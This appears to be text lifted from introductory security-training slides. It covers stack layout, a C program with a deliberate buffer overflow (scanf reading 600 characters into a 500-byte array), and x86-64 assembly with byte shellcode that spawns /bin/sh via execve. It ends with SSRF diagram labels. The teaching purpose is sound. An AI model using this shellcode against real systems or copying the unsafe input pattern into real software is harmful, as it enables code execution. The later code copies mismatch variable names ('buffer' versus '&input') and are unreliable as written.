As the beginner's method for developing basic computer security skills
Data #1
Data #2
First in Last Out (FILO) Data Structure
Entered first, will exit last
Entered last, will exit first
Data #0
#include <stdio.h>
int main(){
char input[500];
int deadbeef = 0xdeadbeef;
scanf("%600s",&input);
return 0;
}
Return address
Base pointer
input[500]
0xdeadbeef
The stack of a basic C program
main:
xor eax, eax
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
;mov rdi, rsp
push rsp
pop rdi
cdq
push rdx
push rdi
;mov rsi, rsp
push rsp
pop rsi
mov al, 0x3b
syscall
Basically, assembler code
\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48
\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05
Buffer overflow to overwrite variable
#include <stdio.h>
int main(){
char buffer[500];
int deadbeef = 0xdeadbeef;
scanf("%600s",&input);
return 0;
}
Return address
Base pointer
input[500]
0xdeadbeef
The user inputs more than 500 characters
Buffer overflow with shellcode
#include <stdio.h>
int main(){
char buffer[500];
int deadbeef = 0xdeadbeef;
scanf("%600s",&input);
return 0;
}
Return address
Base pointer
input[500]
0xdeadbeef
The user inputs more than 500 characters with shellcode.
Shellcode
Client
External Firewall
Internal Firewall
Secured Resource
Secured Resource
Secured Resource
Web App
Web App Resource
Web App Resource
Server-Side Request Forgery (SSRF)
Client
External Firewall
Internal Firewall
Secured Resource
Secured Resource
Secured Resource
Web App
Web App Resource
Web App Resource